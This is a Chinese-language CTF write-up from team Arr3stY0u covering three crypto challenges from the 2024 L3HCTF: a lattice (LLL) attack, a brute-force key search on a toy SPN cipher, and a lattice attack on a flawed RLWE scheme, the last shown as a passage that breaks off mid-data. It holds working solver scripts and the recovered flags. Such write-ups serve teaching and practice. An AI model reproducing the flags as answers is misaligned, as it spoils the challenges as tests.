2024 L3HCTF writeup by Arr3stY0u

WriteUp 3周前 admin
108 0 0

2024 L3HCTF writeup by Arr3stY0u

HEADER

CTF组招新联系QQ2944508194,简历需为正式简历格式、请标注在赛事中的个人产出比,例如:某比赛团队总分2000分,我解出两个crypto共计500分占比25%。

所有方向均有名额,请不要担心投简历被拒等情况,未达标准我们会指出不足之处、给出学习建议。

获取题目下载链接请后台回复:l3hctf2024

抽奖

点击下方文章链接参与抽奖

山海关安全团队2023年终总结(文末抽奖)

CRYPTO

can_you_guess_me

由于 t,e较小,a[i]之前关联关系可以完成格,开始只用了4项(1个和4个),发现结果出不来,仔细构造两两组合,10项,结果出来了。

出了t之后,因为t比e位数多,找了两个互质的t,通过对t求mod就可以求出1个e,flag也就出来了。

代码如下:

from Crypto.Util.number import *from gmpy2 import *q = 313199526393254794805899275326380083313a = [258948702106389340127909287396807150259, 130878573261697415793888397911168583971, 287085364108707601156242002650192970665, 172240654236516299340495055728541554805, 206056586779420225992168537876290239524]RR=RationalField(256)M=Matrix(RR,15,15)for i in range(4):  M[0,i]=(a[i+1])  M[i+1,i]=a[0]*(-1)  M[5+i,i]=q  #M[5+i,i+9]=2^32for i in range(3):  M[1,4+i]=(a[i+2])  M[i+2,4+i]=a[1]*(-1)  M[9+i,i+4]=qfor i in range(2):  M[2,7+i]=(a[i+3])  M[i+3,7+i]=a[2]*(-1)  M[12+i,i+7]=qfor i in range(1):  M[3,9+i]=(a[i+4])  M[i+4,9+i]=a[3]*(-1)  M[14+i,i+9]=qfor i in range(5):  M[i,i+10]=1res=M.LLL()print(res[0])#print(res[1])#print(res[2])#print(res)t=[-70461467654746, -7976473815457, -179142956465832, -176554799971356, -145182873667321]for i in range(len(t)):    t[i]=abs(t[i])print(t)
print(gcd(t[3],t[1]))tmp=t[3]*a[1]-t[1]*a[3]tmp=tmp%qprint(tmp,len(bin(tmp))-2)tmp=q-tmpprint(tmp,len(bin(tmp))-2)tmp=tmp%t[1]e1=tmp*invert(t[3],t[1])%t[1]print(e1,len(bin(e1))-2)flag=(a[1]+e1)*invert(t[1],q)%qprint(flag)flag = "L3HSEC{" + hex(flag)[2:] + "}"print('flag =', flag)#flag = L3HSEC{ad4adc3d4b2001d0ddfa81e313cff80}

babySPN revenge

发现K最后4位,只在最后一步异或发生作用,所以结果前12位与最后4位无关,2^28,多线程应该可以跑了,进一步分析,再前4位影响不到第0,1,4,5位,剩下2^24,尝试单线程爆破,半个小时多点。

脚本:

import randomimport timefrom tqdm import tqdmfrom hashlib import sha256from Crypto.Util.number import *def bin_to_list(r, bit_len):    list = [r >> d & 1 for d in range(bit_len)][::-1]    return list
def list_to_int(list): return int("".join(str(i) for i in list), 2)
Pbox=[1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15, 4, 8, 12, 16]Sbox=[14, 13, 11, 0, 2, 1, 4, 15, 7, 10, 8, 5, 9, 12, 3, 6]
def round_func(X,r,K): kstart=4*r - 4 XX = [0] * 16 for i in range(16): XX[i] = X[i] ^ K[kstart+i] for i in range(4): value = list_to_int(XX[4*i:4*i+4]) s_value = Sbox[value] s_list = bin_to_list(s_value, 4) XX[4*i],XX[4*i+1],XX[4*i+2],XX[4*i+3] = s_list[0],s_list[1],s_list[2],s_list[3]
Y=[0] * 16 for i in range(16): Y[Pbox[i]-1]=XX[i] return Y
def enc(X,K): Y = round_func(X,1,K) Y = round_func(Y,2,K) Y = round_func(Y,3,K) Y = round_func(Y,4,K)
kstart=4*5 - 4 for i in range(16): Y[i] ^= K[kstart+i] return Y
mb=[[0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1],[0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0],[0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1],[0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1]]

base_bj=0for iii in tqdm(range(2**24)): base=bin_to_list(2**24-1-iii,24) a=[0]*8 K=base+a if base_bj==1: break #print("K=",K) #print("*"*64) XX = [0]*16 check_bj=1 for i in range(4): XX[i*4] = 1 tmp=(enc(XX,K)) XX[i*4] = 0 #print(i,tmp) if(tmp[0]!=mb[i][0]): check_bj=0 if(tmp[1]!=mb[i][1]): check_bj=0 if(tmp[4]!=mb[i][4]): check_bj=0 if(tmp[5]!=mb[i][5]): check_bj=0 break if check_bj==1: print("check:",base) for ii2 in range(2**8): aa=bin_to_list(ii2,8) K=base+aa XX = [0] * 16 check_bj2=1 for i in range(4): XX[i * 4] = 1 tmp = (enc(XX, K)) XX[i * 4] = 0 if tmp!=mb[i]: check_bj2=0 break if check_bj2==1: print("okokok") print(K) hash_value = sha256(long_to_bytes(list_to_int(K))).hexdigest() print(hash_value) flag = "L3HCTF{" + hash_value + "}" print(flag) base_bj=1 break#L3HCTF{852e3b2ae059c411ee14c7c460dcbaed483b3858cb680e10d211e256cf4b639e}

badrlwe

考虑模f的特殊性,发现b的x^1023-x^65这些项的系数直接为a*s + e的相应项的系数,是一个线性关系(a已知),s仅仅64项,取值2^8,e也是个小数值,可以用格获取s,代码:(写代码时a和s符号弄反了,就将错就错了)

from Crypto.Util.number import *from random import *import randomimport numpy as npq = 1219077173R.<x> = PolynomialRing(Zmod(q), 'x')N = 1024
b=216047404*x^1023 + 1008199117*x^1022 + 39562072*x^1021 + 189992355*x^1020 + 1087671639*x^1019 + 541371337*x^1018 + 1146044200*x^1017 + 212969175*x^1016 + 1114159572*x^1015 + 1112032860*x^1014 + 1204883609*x^1013 + 1181544913*x^1012 + 851496082*x^1011 + 222877006*x^1010 + 163176236*x^1009 + 268697504*x^1008 + 613151090*x^1007 + 1185245256*x^1006 + 215725010*x^1005 + 789898500*x^1004 + 1156619111*x^1003 + 610859911*x^1002 + 959814483*x^1001 + 684353251*x^1000 + 290850651*x^999 + 675880502*x^998 + 836239751*x^997 + 487296407*x^996 + 778816128*x^995 + 1013639221*x^994 + 189137575*x^993 + 172217836*x^992 + 572872008*x^991 + 865759581*x^990 + 399805736*x^989 + 394587004*x^988 + 633085719*x^987 + 15142893*x^986 + 461176831*x^985 + 1078060208*x^984 + 787396508*x^983 + 877420202*x^982 + 1121486845*x^981 + 146921816*x^980 + 670134387*x^979 + 574407635*x^978 + 1148395437*x^977 + 748514947*x^976 + 970442995*x^975 + 280085063*x^974 + 420670822*x^973 + 20159574*x^972 + 219680665*x^971 + 401202858*x^970 + 328444623*x^969 + 623312316*x^968 + 917712264*x^967 + 588061576*x^966 + 625482841*x^965 + 220929234*x^964 + 778461001*x^963 + 498203565*x^962 + 1055981771*x^961 + 70562147*x^960 + 931081750*x^959 + 93569863*x^958 + 314876311*x^957 + 932364613*x^956 + 1132016772*x^955 + 371703330*x^954 + 189301560*x^953 + 739232608*x^952 + 916695967*x^951 + 399818344*x^950 + 558604923*x^949 + 1092603913*x^948 + 987195616*x^947 + 665679589*x^946 + 1142632478*x^945 + 198797278*x^944 + 110832477*x^943 + 775688737*x^942 + 275416086*x^941 + 435656120*x^940 + 754150483*x^939 + 1024583186*x^938 + 972075461*x^937 + 1071060217*x^936 + 710789980*x^935 + 691361770*x^934 + 1097024307*x^933 + 862356288*x^932 + 354500195*x^931 + 158151296*x^930 + 733475281*x^929 + 215008492*x^928 + 151139272*x^927 + 1000425669*x^926 + 590964357*x^925 + 373950911*x^924 + 43038800*x^923 + 338044906*x^922 + 293954870*x^921 + 393479*x^920 + 555095359*x^919 + 418829106*x^918 + 95391760*x^917 + 897658305*x^916 + 1040609125*x^915 + 239948276*x^914 + 1190720461*x^913 + 160498737*x^912 + 394967890*x^911 + 104302686*x^910 + 48021969*x^909 + 761000569*x^908 + 356140410*x^907 + 225246587*x^906 + 79172445*x^905 + 975365689*x^904 + 1077396491*x^903 + 728717352*x^902 + 964273647*x^901 + 258781036*x^900 + 746930481*x^899 + 793742220*x^898 + 542128050*x^897 + 562413014*x^896 + 701216258*x^895 + 928704966*x^894 + 98656502*x^893 + 1016152774*x^892 + 140544845*x^891 + 226416702*x^890 + 309310359*x^889 + 519065123*x^888 + 346740110*x^887 + 116615122*x^886 + 990804519*x^885 + 208648062*x^884 + 605381435*x^883 + 821163414*x^882 + 864698754*x^881 + 424773230*x^880 + 1184139330*x^879 + 437390254*x^878 + 41435781*x^877 + 824197241*x^876 + 1181823353*x^875 + 354135255*x^874 + 921600154*x^873 + 972782404*x^872 + 304175744*x^871 + 976950586*x^870 + 561195955*x^869 + 840601911*x^868 + 848362310*x^867 + 698380233*x^866 + 703722831*x^865 + 527081934*x^864 + 996708932*x^863 + 926257884*x^862 + 113808466*x^861 + 111022399*x^860 + 336240881*x^859 + 281602555*x^858 + 456022351*x^857 + 303940681*x^856 + 1152960332*x^855 + 762827305*x^854 + 1097893502*x^853 + 1159492861*x^852 + 791288185*x^851 + 552596428*x^850 + 1160303133*x^849 + 855459983*x^848 + 870046128*x^847 + 412042730*x^846 + 527317697*x^845 + 118258027*x^844 + 1156090191*x^843 + 1184418516*x^842 + 736914609*x^841 + 1042440949*x^840 + 1118336201*x^839 + 692314475*x^838 + 888141647*x^837 + 611975215*x^836 + 112482309*x^835 + 774541929*x^834 + 877613260*x^833 + 218484596*x^832 + 744043072*x^831 + 1149426359*x^830 + 1086732941*x^829 + 218727414*x^828 + 111004493*x^827 + 48035668*x^826 + 1129753198*x^825 + 410088959*x^824 + 1186919074*x^823 + 291266088*x^822 + 622780685*x^821 + 908030149*x^820 + 152548456*x^819 + 970996704*x^818 + 643233117*x^817 + 97648457*x^816 + 167039372*x^815 + 451159004*x^814 + 21522258*x^813 + 446568222*x^812 + 97236135*x^811 + 601480363*x^810 + 896523050*x^809 + 635312918*x^808 + 771155729*x^807 + 727217487*x^806 + 1103325662*x^805 + 1145702253*x^804 + 111451279*x^803 + 709647761*x^802 + 155865734*x^801 + 788861657*x^800 + 25328658*x^799 + 387592047*x^798 + 631380316*x^797 + 195654331*x^796 + 379901017*x^795 + 110746571*x^794 + 821639667*x^793 + 1196705497*x^792 + 926725497*x^791 + 752090468*x^790 + 565928514*x^789 + 107924077*x^788 + 1035444397*x^787 + 389590222*x^786 + 746022468*x^785 + 1152494936*x^784 + 1047183126*x^783 + 935173423*x^782 + 237022259*x^781 + 68211471*x^780 + 682392084*x^779 + 900610142*x^778 + 659697118*x^777 + 381789469*x^776 + 895479393*x^775 + 342674862*x^774 + 1034152415*x^773 + 736863278*x^772 + 233824501*x^771 + 511543257*x^770 + 43539547*x^769 + 871109943*x^768 + 234226499*x^767 + 958639125*x^766 + 913885377*x^765 + 757234386*x^764 + 330354514*x^763 + 693659124*x^762 + 46757147*x^761 + 24910108*x^760 + 263754046*x^759 + 1007999117*x^758 + 569158879*x^757 + 781185896*x^756 + 328234792*x^755 + 1166796778*x^754 + 1023882729*x^753 + 1126014838*x^752 + 412948341*x^751 + 745762031*x^750 + 184601330*x^749 + 1195686854*x^748 + 226180761*x^747 + 813440273*x^746 + 198496604*x^745 + 646284299*x^744 + 775658802*x^743 + 1051631440*x^742 + 382010443*x^741 + 884529292*x^740 + 1171509241*x^739 + 148470016*x^738 + 545551560*x^737 + 895321797*x^736 + 990533556*x^735 + 1006826878*x^734 + 444425261*x^733 + 538658289*x^732 + 1201448839*x^731 + 813543244*x^730 + 866138640*x^729 + 992484781*x^728 + 797592952*x^727 + 5350520*x^726 + 1088776239*x^725 + 1011384293*x^724 + 202279961*x^723 + 580990742*x^722 + 608736084*x^721 + 592191483*x^720 + 603821965*x^719 + 686032966*x^718 + 309449994*x^717 + 997796743*x^716 + 323694959*x^715 + 404631321*x^714 + 684041814*x^713 + 954922509*x^712 + 17334061*x^711 + 1038027065*x^710 + 189030167*x^709 + 238786122*x^708 + 854157242*x^707 + 857322405*x^706 + 847505723*x^705 + 531600098*x^704 + 413144959*x^703 + 150862275*x^702 + 176120020*x^701 + 147651128*x^700 + 20961937*x^699 + 924892688*x^698 + 207889399*x^697 + 506289209*x^696 + 201657090*x^695 + 866897606*x^694 + 282950189*x^693 + 484625027*x^692 + 720969770*x^691 + 557487808*x^690 + 664292309*x^689 + 667236796*x^688 + 505039446*x^687 + 636507041*x^686 + 717904854*x^685 + 742491214*x^684 + 235380401*x^683 + 885103138*x^682 + 227708439*x^681 + 195450351*x^680 + 914408549*x^679 + 890140153*x^678 + 959662247*x^677 + 655663410*x^676 + 682768547*x^675 + 1063757282*x^674 + 776284911*x^673 + 1114588219*x^672 + 689022198*x^671 + 1160585767*x^670 + 784564493*x^669 + 599804982*x^668 + 954265199*x^667 + 1160092910*x^666 + 1178991310*x^665 + 610146522*x^664 + 589028938*x^663 + 972903553*x^662 + 933544074*x^661 + 910101746*x^660 + 1199479046*x^659 + 129564572*x^658 + 16630574*x^657 + 604268174*x^656 + 905616984*x^655 + 229755095*x^654 + 543777663*x^653 + 880642044*x^652 + 750742780*x^651 + 801027824*x^650 + 59869899*x^649 + 178293151*x^648 + 413473523*x^647 + 790966353*x^646 + 36947608*x^645 + 215402931*x^644 + 198271237*x^643 + 394503398*x^642 + 933396244*x^641 + 764498758*x^640 + 960831635*x^639 + 710558646*x^638 + 160491214*x^637 + 161213508*x^636 + 932611994*x^635 + 226519192*x^634 + 554464756*x^633 + 82595536*x^632 + 1144714763*x^631 + 361090580*x^630 + 747809061*x^629 + 114293244*x^628 + 253349999*x^627 + 1051279816*x^626 + 1079507344*x^625 + 864605458*x^624 + 1100098300*x^623 + 323233106*x^622 + 1070769430*x^621 + 1048471132*x^620 + 23281664*x^619 + 1099148878*x^618 + 812556000*x^617 + 452606567*x^616 + 892217880*x^615 + 741556204*x^614 + 37168552*x^613 + 286980867*x^612 + 1125383508*x^611 + 782814488*x^610 + 1214851511*x^609 + 270577673*x^608 + 364433480*x^607 + 825553809*x^606 + 589475297*x^605 + 293114041*x^604 + 1115978872*x^603 + 21831218*x^602 + 856821602*x^601 + 213782489*x^600 + 287159884*x^599 + 1015101950*x^598 + 494211644*x^597 + 38143731*x^596 + 882805771*x^595 + 721674528*x^594 + 120092153*x^593 + 636819567*x^592 + 365557574*x^591 + 619653423*x^590 + 1207892829*x^589 + 971282528*x^588 + 379459809*x^587 + 507124241*x^586 + 1050378769*x^585 + 113715629*x^584 + 841835564*x^583 + 1055649818*x^582 + 904319486*x^581 + 83232231*x^580 + 282044435*x^579 + 11563226*x^578 + 283283452*x^577 + 515932154*x^576 + 415242679*x^575 + 686396058*x^574 + 414011723*x^573 + 22692318*x^572 + 593039855*x^571 + 42054428*x^570 + 242713788*x^569 + 756543053*x^568 + 297264974*x^567 + 656668981*x^566 + 103185189*x^565 + 279211827*x^564 + 66472175*x^563 + 221289056*x^562 + 418547255*x^561 + 587378319*x^560 + 781217899*x^559 + 828907515*x^558 + 1026785730*x^557 + 936576598*x^556 + 914519864*x^555 + 458326840*x^554 + 846364356*x^553 + 1048948157*x^552 + 276890468*x^551 + 211463242*x^550 + 611009955*x^549 + 41350370*x^548 + 1120260432*x^547 + 1217213406*x^546 + 1096884636*x^545 + 107298827*x^544 + 556646889*x^543 + 514714957*x^542 + 592531623*x^541 + 1185635127*x^540 + 866796164*x^539 + 1199009440*x^538 + 760543377*x^537 + 135043128*x^536 + 1184521976*x^535 + 53368352*x^534 + 614063947*x^533 + 117184488*x^532 + 1090625549*x^531 + 928160285*x^530 + 1065640157*x^529 + 307397590*x^528 + 383318068*x^527 + 890835908*x^526 + 416986540*x^525 + 222852700*x^524 + 965323537*x^523 + 151764017*x^522 + 193722745*x^521 + 439803983*x^520 + 942882901*x^519 + 56286764*x^518 + 824204572*x^517 + 478793274*x^516 + 183238303*x^515 + 922253103*x^514 + 5444136*x^513 + 402856270*x^512 + 508652113*x^511 + 898341402*x^510 + 56743140*x^509 + 179078829*x^508 + 360574641*x^507 + 691533190*x^506 + 982373838*x^505 + 719429684*x^504 + 962339948*x^503 + 1097706834*x^502 + 682588935*x^501 + 1193566532*x^500 + 1140505780*x^499 + 1167874911*x^498 + 669408623*x^497 + 15348570*x^496 + 896129486*x^495 + 100671957*x^494 + 1015786650*x^493 + 605094306*x^492 + 704959137*x^491 + 503877361*x^490 + 546763047*x^489 + 281625173*x^488 + 874599768*x^487 + 187483443*x^486 + 791213383*x^485 + 670376251*x^484 + 484751013*x^483 + 519454749*x^482 + 898655062*x^481 + 1088862155*x^480 + 843442957*x^479 + 429341712*x^478 + 869408179*x^477 + 921648096*x^476 + 526019939*x^475 + 856290375*x^474 + 531710459*x^473 + 1135323038*x^472 + 222776023*x^471 + 223826994*x^470 + 782612384*x^469 + 208579370*x^468 + 809908930*x^467 + 802818642*x^466 + 1182584545*x^465 + 245518705*x^464 + 114792460*x^463 + 646248449*x^462 + 63969962*x^461 + 761908644*x^460 + 523665668*x^459 + 1131060959*x^458 + 507746193*x^457 + 215968166*x^456 + 186113215*x^455 + 1117740378*x^454 + 649175082*x^453 + 396834257*x^452 + 274002774*x^451 + 626055138*x^450 + 924423066*x^449 + 81357715*x^448 + 1042994674*x^447 + 380053163*x^446 + 687766657*x^445 + 414805559*x^444 + 1118153385*x^443 + 1196507975*x^442 + 223759358*x^441 + 808836890*x^440 + 558230978*x^439 + 470920831*x^438 + 313868031*x^437 + 696317665*x^436 + 38725962*x^435 + 722983488*x^434 + 982704221*x^433 + 931470025*x^432 + 658261117*x^431 + 1043739465*x^430 + 422603501*x^429 + 879856656*x^428 + 977082068*x^427 + 593021461*x^426 + 955543544*x^425 + 194004912*x^424 + 1057355064*x^423 + 1153279801*x^422 + 1104874965*x^421 + 1157109085*x^420 + 54358054*x^419 + 802241073*x^418 + 489376522*x^417 + 250441773*x^416 + 740903923*x^415 + 81493461*x^414 + 966046559*x^413 + 295086523*x^412 + 1192114766*x^411 + 1186654005*x^410 + 768853461*x^409 + 302013033*x^408 + 1127093874*x^407 + 401944628*x^406 + 463364841*x^405 + 277324527*x^404 + 357826211*x^403 + 302642912*x^402 + 785232813*x^401 + 1155455395*x^400 + 240939622*x^399 + 1090741169*x^398 + 941697407*x^397 + 1108935255*x^396 + 63027943*x^395 + 415750779*x^394 + 36046273*x^393 + 172429619*x^392 + 563533800*x^391 + 961503349*x^390 + 356454474*x^389 + 586712431*x^388 + 572728001*x^387 + 670855384*x^386 + 268877633*x^385 + 51139525*x^384 + 806328542*x^383 + 790061093*x^382 + 140256246*x^381 + 430118720*x^380 + 924612224*x^379 + 923573107*x^378 + 1124645882*x^377 + 1044890409*x^376 + 509180566*x^375 + 371227114*x^374 + 161843486*x^373 + 296514161*x^372 + 454272518*x^371 + 755779732*x^370 + 295567281*x^369 + 1063635155*x^368 + 46603670*x^367 + 112353112*x^366 + 571920305*x^365 + 484055586*x^364 + 148075787*x^363 + 700140701*x^362 + 922814151*x^361 + 198283677*x^360 + 806078101*x^359 + 1218701262*x^358 + 679274064*x^357 + 408382456*x^356 + 284971608*x^355 + 1072737570*x^354 + 999420946*x^353 + 704897365*x^352 + 1147239838*x^351 + 1148707218*x^350 + 119677974*x^349 + 139766009*x^348 + 289899118*x^347 + 3099746*x^346 + 478334394*x^345 + 671867092*x^344 + 1123276962*x^343 + 1053910974*x^342 + 776016929*x^341 + 408840884*x^340 + 702734268*x^339 + 101137143*x^338 + 157330682*x^337 + 608473559*x^336 + 355406102*x^335 + 1189624142*x^334 + 87874850*x^333 + 1097033743*x^332 + 984835279*x^331 + 133446104*x^330 + 990221835*x^329 + 34152703*x^328 + 902602955*x^327 + 564227604*x^326 + 378045277*x^325 + 330935315*x^324 + 300442927*x^323 + 504016276*x^322 + 592727454*x^321 + 1075766200*x^320 + 718996149*x^319 + 823573424*x^318 + 834215705*x^317 + 430497892*x^316 + 879722938*x^315 + 968236501*x^314 + 262764692*x^313 + 37503817*x^312 + 607855810*x^311 + 1173289902*x^310 + 906609932*x^309 + 11948749*x^308 + 948969610*x^307 + 1130417155*x^306 + 892108695*x^305 + 1040897188*x^304 + 174698274*x^303 + 85414336*x^302 + 758730292*x^301 + 615781943*x^300 + 1215130735*x^299 + 1168693743*x^298 + 1070287857*x^297 + 501559848*x^296 + 485147924*x^295 + 1218893131*x^294 + 923876087*x^293 + 565056561*x^292 + 282754375*x^291 + 794028720*x^290 + 288419549*x^289 + 688387454*x^288 + 40339086*x^287 + 659115548*x^286 + 614342861*x^285 + 391568544*x^284 + 464738754*x^283 + 28669498*x^282 + 1115640335*x^281 + 870635325*x^280 + 126237247*x^279 + 1111165998*x^278 + 205027579*x^277 + 911218811*x^276 + 208748481*x^275 + 725176545*x^274 + 765151044*x^273 + 939495648*x^272 + 550038893*x^271 + 905707993*x^270 + 267107699*x^269 + 477779883*x^268 + 251985659*x^267 + 754082836*x^266 + 159569451*x^265 + 781616103*x^264 + 1098961576*x^263 + 1139687026*x^262 + 473401848*x^261 + 623689501*x^260 + 1012676202*x^259 + 76777202*x^258 + 170602576*x^257 + 266093330*x^256 + 732274753*x^255 + 193219366*x^254 + 610602682*x^253 + 749761392*x^252 + 536911921*x^251 + 1052883954*x^250 + 1139729422*x^249 + 617278363*x^248 + 603450863*x^247 + 877968049*x^246 + 1078543204*x^245 + 441578327*x^244 + 821469144*x^243 + 1083268726*x^242 + 592074734*x^241 + 431251183*x^240 + 1151073027*x^239 + 596034003*x^238 + 507176703*x^237 + 638155464*x^236 + 820097610*x^235 + 69713965*x^234 + 111089281*x^233 + 403306683*x^232 + 417322569*x^231 + 510992488*x^230 + 406068742*x^229 + 487323397*x^228 + 1105866147*x^227 + 126043214*x^226 + 565379393*x^225 + 774566507*x^224 + 94477834*x^223 + 301787901*x^222 + 891557978*x^221 + 246179873*x^220 + 76065360*x^219 + 632831219*x^218 + 967852970*x^217 + 982932236*x^216 + 457056482*x^215 + 611696056*x^214 + 187879254*x^213 + 919970751*x^212 + 726626422*x^211 + 744906999*x^210 + 514152204*x^209 + 400846913*x^208 + 1057213516*x^207 + 458393393*x^206 + 39867352*x^205 + 482474421*x^204 + 1017159775*x^203 + 1127386440*x^202 + 186890818*x^201 + 297371952*x^200 + 827010510*x^199 + 457757189*x^198 + 120047360*x^197 + 403406161*x^196 + 561776540*x^195 + 269984973*x^194 + 1105865523*x^193 + 356682370*x^192 + 521018201*x^191 + 714326305*x^190 + 230112489*x^189 + 468954949*x^188 + 428412182*x^187 + 418097923*x^186 + 648421330*x^185 + 119412602*x^184 + 1029175202*x^183 + 961854350*x^182 + 359274957*x^181 + 918516748*x^180 + 393392054*x^179 + 998769881*x^178 + 713880369*x^177 + 23918875*x^176 + 19140072*x^175 + 296443203*x^174 + 1036511543*x^173 + 208417465*x^172 + 856221174*x^171 + 724608949*x^170 + 1148614286*x^169 + 605394185*x^168 + 1037184954*x^167 + 1149508482*x^166 + 748219008*x^165 + 762595570*x^164 + 240812860*x^163 + 221590855*x^162 + 921277317*x^161 + 666749995*x^160 + 270085731*x^159 + 719780654*x^158 + 1023109552*x^157 + 948736441*x^156 + 942460534*x^155 + 1190076672*x^154 + 298412436*x^153 + 146236637*x^152 + 136974417*x^151 + 247369427*x^150 + 1164600849*x^149 + 80725190*x^148 + 563971590*x^147 + 838975230*x^146 + 605884308*x^145 + 695738052*x^144 + 457993644*x^143 + 608089160*x^142 + 279768415*x^141 + 167776427*x^140 + 99830319*x^139 + 724761513*x^138 + 838344856*x^137 + 349705095*x^136 + 700591961*x^135 + 495192008*x^134 + 166834844*x^133 + 829383641*x^132 + 689577635*x^131 + 1063098370*x^130 + 1217658142*x^129 + 210005674*x^128 + 709445493*x^127 + 890260692*x^126 + 11818873*x^125 + 356866298*x^124 + 657354178*x^123 + 1083325742*x^122 + 256937537*x^121 + 832141251*x^120 + 738779202*x^119 + 531375449*x^118 + 570407521*x^117 + 253499493*x^116 + 936295735*x^115 + 840539077*x^114 + 1108243632*x^113 + 518037787*x^112 + 512681158*x^111 + 659791034*x^110 + 615039004*x^109 + 6475754*x^108 + 112655504*x^107 + 135513268*x^106 + 814830817*x^105 + 312451349*x^104 + 459204360*x^103 + 536270797*x^102 + 487599107*x^101 + 995873996*x^100 + 947176358*x^99 + 161110841*x^98 + 1215850742*x^97 + 828031021*x^96 + 393857015*x^95 + 483165571*x^94 + 1169422374*x^93 + 185485308*x^92 + 1113820447*x^91 + 1217012548*x^90 + 591690262*x^89 + 230984245*x^88 + 1183186281*x^87 + 984746087*x^86 + 321334226*x^85 + 356396152*x^84 + 812358214*x^83 + 652862462*x^82 + 1159946831*x^81 + 1185692555*x^80 + 1101691161*x^79 + 1162783803*x^78 + 592033894*x^77 + 545367197*x^76 + 441688164*x^75 + 169491076*x^74 + 181297517*x^73 + 590332818*x^72 + 814337101*x^71 + 1148316386*x^70 + 700258144*x^69 + 719201877*x^68 + 1160695934*x^67 + 1186868159*x^66 + 508542038*x^65 + 1113702100*x^64 + 921032142*x^63 + 758636144*x^62 + 890540800*x^61 + 136808203*x^60 + 74886413*x^59 + 156077420*x^58 + 925473910*x^57 + 111404286*x^56 + 355116767*x^55 + 468038980*x^54 + 89708844*x^53 + 878616521*x^52 + 1154657871*x^51 + 677831135*x^50 + 903468800*x^49 + 890557208*x^48 + 1035114476*x^47 + 198189399*x^46 + 864375452*x^45 + 1164916963*x^44 + 929627324*x^43 + 418711325*x^42 + 97430691*x^41 + 1172413774*x^40 + 760600756*x^39 + 943281805*x^38 + 53033182*x^37 + 123566782*x^36 + 665472336*x^35 + 521103310*x^34 + 892876972*x^33 + 169828417*x^32 + 315862403*x^31 + 973295601*x^30 + 1036868940*x^29 + 469235131*x^28 + 1097609240*x^27 + 446027303*x^26 + 356219098*x^25 + 480790123*x^24 + 94742566*x^23 + 691728720*x^22 + 922852954*x^21 + 21648854*x^20 + 903452116*x^19 + 1043050543*x^18 + 867501915*x^17 + 402312961*x^16 + 772349320*x^15 + 806410607*x^14 + 573402289*x^13 + 103888540*x^12 + 147927873*x^11 + 1005161156*x^10 + 988774771*x^9 + 682875980*x^8 + 54946232*x^7 + 717143945*x^6 + 323577100*x^5 + 803064428*x^4 + 598462622*x^3 + 1110253556*x^2 + 764371182*x + 634648371
s=735531500*x^1023 + 684755229*x^1022 + 978579144*x^1021 + 560225565*x^1020 + 758090578*x^1019 + 367477932*x^1018 + 326779415*x^1017 + 26800946*x^1016 + 199017905*x^1015 + 1156874439*x^1014 + 673969262*x^1013 + 617169647*x^1012 + 462256026*x^1011 + 303059784*x^1010 + 663728970*x^1009 + 376865711*x^1008 + 830705685*x^1007 + 573964358*x^1006 + 1210202059*x^1005 + 269197755*x^1004 + 586236496*x^1003 + 621987820*x^1002 + 485567868*x^1001 + 305700227*x^1000 + 1052698462*x^999 + 86861550*x^998 + 44767901*x^997 + 410897986*x^996 + 212344404*x^995 + 336381747*x^994 + 398182335*x^993 + 660275371*x^992 + 52728322*x^991 + 1193103469*x^990 + 684295535*x^989 + 1029981794*x^988 + 1051866415*x^987 + 418681909*x^986 + 976794520*x^985 + 1180496804*x^984 + 438513041*x^983 + 822843942*x^982 + 1119264881*x^981 + 790873853*x^980 + 1146506838*x^979 + 27016797*x^978 + 1149126201*x^977 + 967895459*x^976 + 1201841165*x^975 + 264216641*x^974 + 751855165*x^973 + 277480010*x^972 + 955969328*x^971 + 784721168*x^970 + 696371212*x^969 + 401164998*x^968 + 654719011*x^967 + 785183205*x^966 + 79070435*x^965 + 1140562925*x^964 + 1025154340*x^963 + 1044315421*x^962 + 392734282*x^961 + 234286141*x^960 + 962551866*x^959 + 133742245*x^958 + 998056106*x^957 + 781318236*x^956 + 23528574*x^955 + 1214036424*x^954 + 296666931*x^953 + 1211729921*x^952 + 561550286*x^951 + 634392845*x^950 + 422332555*x^949 + 765556851*x^948 + 1151849524*x^947 + 305981530*x^946 + 246290056*x^945 + 24304550*x^944 + 477073522*x^943 + 416104453*x^942 + 898162013*x^941 + 611609496*x^940 + 445765799*x^939 + 430180169*x^938 + 1151421310*x^937 + 439515367*x^936 + 795257572*x^935 + 578106992*x^934 + 929259980*x^933 + 550407102*x^932 + 1219047347*x^931 + 15972593*x^930 + 515513177*x^929 + 679675449*x^928 + 914537835*x^927 + 156230965*x^926 + 385558312*x^925 + 1036365654*x^924 + 1098274877*x^923 + 348628203*x^922 + 1093802915*x^921 + 1162728002*x^920 + 200502246*x^919 + 551049082*x^918 + 969116717*x^917 + 1127382445*x^916 + 968172543*x^915 + 346881523*x^914 + 41744706*x^913 + 335042561*x^912 + 593895276*x^911 + 15888292*x^910 + 324866127*x^909 + 937351605*x^908 + 347255852*x^907 + 1120419679*x^906 + 249832197*x^905 + 896923860*x^904 + 129801128*x^903 + 207849052*x^902 + 386825059*x^901 + 823406098*x^900 + 977635408*x^899 + 108813100*x^898 + 561865827*x^897 + 718000532*x^896 + 48090035*x^895 + 832337939*x^894 + 1084389292*x^893 + 793335438*x^892 + 1095245016*x^891 + 1080787282*x^890 + 122666287*x^889 + 937313249*x^888 + 62818846*x^887 + 1170462486*x^886 + 182439366*x^885 + 792906343*x^884 + 1205386767*x^883 + 310389549*x^882 + 603676058*x^881 + 671251954*x^880 + 640345010*x^879 + 1087374504*x^878 + 119769446*x^877 + 135989573*x^876 + 880703983*x^875 + 613578242*x^874 + 1207874966*x^873 + 972002390*x^872 + 644470053*x^871 + 335762119*x^870 + 1079917808*x^869 + 1023711373*x^868 + 861485470*x^867 + 230979333*x^866 + 683284149*x^865 + 645804102*x^864 + 577971621*x^863 + 33779989*x^862 + 915467237*x^861 + 834966216*x^860 + 445758874*x^859 + 685228217*x^858 + 979609284*x^857 + 842509205*x^856 + 221373358*x^855 + 150166201*x^854 + 927937340*x^853 + 995054125*x^852 + 704623324*x^851 + 1112892592*x^850 + 782816865*x^849 + 878518510*x^848 + 391872241*x^847 + 30062686*x^846 + 108900016*x^845 + 1034780269*x^844 + 